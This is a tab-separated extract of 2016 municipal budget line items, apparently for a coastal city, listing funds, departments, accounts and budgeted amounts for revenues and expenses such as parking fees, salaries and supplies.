21874	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	54100	0	0	0	0	0	0	0	0	0	0	0	54100
21875	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21876	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-75906	0	0	0	0	0	0	0	0	0	0	0	-75906
21877	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
21878	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	11200	0	0	0	0	0	0	0	0	0	0	0	11200
21879	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	223587	0	0	0	0	0	0	0	0	0	0	0	223587
21880	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404041.0	SR2S - EDISON LANGUAGE ACADEMY	610.0	Intergovernmental	2016	-328563	0	0	0	0	0	0	0	0	0	0	0	-328563
21881	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMB-MISC	908.0	 Supplies and Expenses	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
21882	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405452.0	HBP- FHWA CAL INCLINE CONSTRUC	610.0	Intergovernmental	2016	-2849872	0	0	0	0	0	0	0	0	0	0	0	-2849872
21883	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2016	-53000	0	0	0	0	0	0	0	0	0	0	0	-53000
21884	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	1400	0	0	0	0	0	0	0	0	0	0	0	1400
21885	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	20432	0	0	0	0	0	0	0	0	0	0	0	20432
21886	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	402521.0	1450 OCEAN ACTIVITIES	612.0	Charges for Service	2016	-8000	0	0	0	0	0	0	0	0	0	0	0	-8000
21887	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2016	-234300	0	0	0	0	0	0	0	0	0	0	0	-234300
21888	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402030.0	CAROUSEL OPERATION	650.0	Charges for Service	2016	-255000	0	0	0	0	0	0	0	0	0	0	0	-255000
21889	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	15965	0	0	0	0	0	0	0	0	0	0	0	15965
21890	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	543	0	0	0	0	0	0	0	0	0	0	0	543
21891	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21892	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	551010.0	CAR WASHES	804.0	 Supplies and Expenses	2016	240	0	0	0	0	0	0	0	0	0	0	0	240
21893	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21894	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2016	-238586	0	0	0	0	0	0	0	0	0	0	0	-238586
21895	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405100.0	PARKING FACILITY TAX	606.0	Other Local Taxes	2016	-11600000	0	0	0	0	0	0	0	0	0	0	0	-11600000
21896	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
21897	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	1553	0	0	0	0	0	0	0	0	0	0	0	1553
21898	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
21899	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2016	300	0	0	0	0	0	0	0	0	0	0	0	300
21900	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21901	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408590.0	SA COLLECTIVE BARGAINING COSTS	622.0	Other	2016	-312400	0	0	0	0	0	0	0	0	0	0	0	-312400
21902	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408640.0	CO ESPLANADE - CMAQ	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21903	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2016	-67000	0	0	0	0	0	0	0	0	0	0	0	-67000
21904	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2016	-512000	0	0	0	0	0	0	0	0	0	0	0	-512000
21905	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410220.0	DOWNTOWN ADVERTISING REVENUE	612.0	Charges for Service	2016	-325000	0	0	0	0	0	0	0	0	0	0	0	-325000
21906	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		MEDICAL-RETIREE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21907	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	403765.0	DOWNTOWN SHUTTLE PROGRAM	662.0	Other	2016	-70608	0	0	0	0	0	0	0	0	0	0	0	-70608
21908	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401134.0	VOLLEYBALL LEAGUES	612.0	Charges for Service	2016	-8300	0	0	0	0	0	0	0	0	0	0	0	-8300
21909	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401072.0	TENNIS TOURNAMENT	612.0	Charges for Service	2016	-32000	0	0	0	0	0	0	0	0	0	0	0	-32000
21910	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21911	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21912	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21913	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566582.0	PARAMEDIC CERTIFICATES	806.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
21914	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	544301.0	SAFETY SOFTWARE MAINTENANCE		 Supplies and Expenses	2016	7000	0	0	0	0	0	0	0	0	0	0	0	7000
21915	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21916	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21917	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21918	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	566586.0	HOSE PURCHASES	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21919	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577830.0	WATER CONSERVATION REBATES		 Supplies and Expenses	2016	922700	0	0	0	0	0	0	0	0	0	0	0	922700
21920	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		FIRE STATION MAINTENANCE	808.0	 Supplies and Expenses	2016	70000	0	0	0	0	0	0	0	0	0	0	0	70000
21921	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570081.0	TRANSFER IN-WTR L-INCOME DISC		 Supplies and Expenses	2016	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
21922	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	409230.0	3400-3500 Airport Ave Reimburs	662.0	Other	2016	-630349	0	0	0	0	0	0	0	0	0	0	0	-630349
21923	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2016	-60000	0	0	0	0	0	0	0	0	0	0	0	-60000
21924	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2016	-2355	0	0	0	0	0	0	0	0	0	0	0	-2355
21925	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2016	-39980	0	0	0	0	0	0	0	0	0	0	0	-39980
21926	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2016	-5100	0	0	0	0	0	0	0	0	0	0	0	-5100
21927	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2016	-122728	0	0	0	0	0	0	0	0	0	0	0	-122728
21928	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522230.0	CREDIT CARD FEES		 Supplies and Expenses	2016	64485	0	0	0	0	0	0	0	0	0	0	0	64485
21929	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409320.0	BIKESHARE PROGRAM FEES	612.0	Charges for Service	2016	-650000	0	0	0	0	0	0	0	0	0	0	0	-650000
21930	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511017.0	PERMANENT EMPLOY SWORN POLICE	806.0	Salaries and Wages	2016	246417	0	0	0	0	0	0	0	0	0	0	0	246417
21931	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	349738	0	0	0	0	0	0	0	0	0	0	0	349738
21932	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
21933	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	606	0	0	0	0	0	0	0	0	0	0	0	606
21934	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	2672	0	0	0	0	0	0	0	0	0	0	0	2672
21935	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	53745	0	0	0	0	0	0	0	0	0	0	0	53745
21936	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	2287426	0	0	0	0	0	0	0	0	0	0	0	2287426
21937	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	39441	0	0	0	0	0	0	0	0	0	0	0	39441
21938	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2016	32232	0	0	0	0	0	0	0	0	0	0	0	32232
21939	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2016	17550	0	0	0	0	0	0	0	0	0	0	0	17550
21940	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
21941	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408580.0	ALARM REGISTRATION FEE	608.0	Licenses and Permits	2016	-156946	0	0	0	0	0	0	0	0	0	0	0	-156946
21942	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401132.0	SOFTBALL LEAGUES	612.0	Charges for Service	2016	-89100	0	0	0	0	0	0	0	0	0	0	0	-89100
21943	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2016	1863	0	0	0	0	0	0	0	0	0	0	0	1863
21944	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21945	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21946	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21947	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21948	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544145.0	SIDEWALK MATERIALS	808.0	 Supplies and Expenses	2016	19100	0	0	0	0	0	0	0	0	0	0	0	19100
21949	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	168300	0	0	0	0	0	0	0	0	0	0	0	168300
21950	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511490.0	OVERTIME	804.0	Salaries and Wages	2016	434388	0	0	0	0	0	0	0	0	0	0	0	434388
21951	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401133.0	BASKETBALL LEAGUES	612.0	Charges for Service	2016	-24300	0	0	0	0	0	0	0	0	0	0	0	-24300
21952	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21953	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566581.0	EMT CERTIFICATES	806.0	 Supplies and Expenses	2016	1200	0	0	0	0	0	0	0	0	0	0	0	1200
21954	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	544126.0	PRINTING - TRAINING		 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
21955	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21956	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2016	-500	0	0	0	0	0	0	0	0	0	0	0	-500
21957	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
21958	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2016	26441	0	0	0	0	0	0	0	0	0	0	0	26441
21959	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2016	287000	0	0	0	0	0	0	0	0	0	0	0	287000
21960	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	846.0	 Supplies and Expenses	2016	23002	0	0	0	0	0	0	0	0	0	0	0	23002
21961	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409190.0	COMMERCIAL INSTRUCTOR PERMIT F	612.0	Charges for Service	2016	-2300	0	0	0	0	0	0	0	0	0	0	0	-2300
21962	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2016	-102000	0	0	0	0	0	0	0	0	0	0	0	-102000
21963	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2016	-225000	0	0	0	0	0	0	0	0	0	0	0	-225000
21964	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	29992	0	0	0	0	0	0	0	0	0	0	0	29992
21965	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2016	-22176	0	0	0	0	0	0	0	0	0	0	0	-22176
21966	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402020.0	SM PIER - PARKING LOTS	650.0	Charges for Service	2016	-1515866	0	0	0	0	0	0	0	0	0	0	0	-1515866
21967	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	401830.0	VENDOR RENT	650.0	Charges for Service	2016	-241331	0	0	0	0	0	0	0	0	0	0	0	-241331
21968	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402040.0	SM PIER - OTHER REVENUES	662.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21969	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	55434	0	0	0	0	0	0	0	0	0	0	0	55434
21970	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2016	1770	0	0	0	0	0	0	0	0	0	0	0	1770
21971	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2016	120305	0	0	0	0	0	0	0	0	0	0	0	120305
21972	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2016	771	0	0	0	0	0	0	0	0	0	0	0	771
21973	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	27516	0	0	0	0	0	0	0	0	0	0	0	27516
21974	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21975	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	800	0	0	0	0	0	0	0	0	0	0	0	800
21976	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21977	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2016	-5530	0	0	0	0	0	0	0	0	0	0	0	-5530
21978	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2016	-24216	0	0	0	0	0	0	0	0	0	0	0	-24216
21979	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2016	-128266	0	0	0	0	0	0	0	0	0	0	0	-128266
21980	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533790.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2016	4325	0	0	0	0	0	0	0	0	0	0	0	4325
21981	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511020.0	MOU CONTINGENCY	804.0	Salaries and Wages	2016	2000000	0	0	0	0	0	0	0	0	0	0	0	2000000
21982	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	1300	0	0	0	0	0	0	0	0	0	0	0	1300
21983	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579963.0	BBB-GEN FUND REIMB-FIN	908.0	 Supplies and Expenses	2016	-269786	0	0	0	0	0	0	0	0	0	0	0	-269786
21984	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	9509	0	0	0	0	0	0	0	0	0	0	0	9509
21985	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	394029	0	0	0	0	0	0	0	0	0	0	0	394029
21986	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	999	0	0	0	0	0	0	0	0	0	0	0	999
21987	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2016	1576	0	0	0	0	0	0	0	0	0	0	0	1576
21988	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2016	10217	0	0	0	0	0	0	0	0	0	0	0	10217
21989	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2016	-9572	0	0	0	0	0	0	0	0	0	0	0	-9572
21990	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2016	-131014	0	0	0	0	0	0	0	0	0	0	0	-131014
21991	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2016	25931	0	0	0	0	0	0	0	0	0	0	0	25931
21992	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		WELLNESS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21993	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	55114	0	0	0	0	0	0	0	0	0	0	0	55114
21994	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	104	0	0	0	0	0	0	0	0	0	0	0	104
21995	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	407745	0	0	0	0	0	0	0	0	0	0	0	407745
21996	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-7428	0	0	0	0	0	0	0	0	0	0	0	-7428
21997	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	5435	0	0	0	0	0	0	0	0	0	0	0	5435
21998	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2016	7161	0	0	0	0	0	0	0	0	0	0	0	7161
21999	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	10056	0	0	0	0	0	0	0	0	0	0	0	10056
22000	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	577710.0	DOWNTOWN SHUTTLE PROGRAM	816.0	 Supplies and Expenses	2016	70608	0	0	0	0	0	0	0	0	0	0	0	70608
22001	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401380.0	POUND FEES	612.0	Charges for Service	2016	-24710	0	0	0	0	0	0	0	0	0	0	0	-24710
22002	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2016	4257	0	0	0	0	0	0	0	0	0	0	0	4257
22003	BA	IS	4	Special Revenue Source Fund	300	POLICE	306	STRATEGIC SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
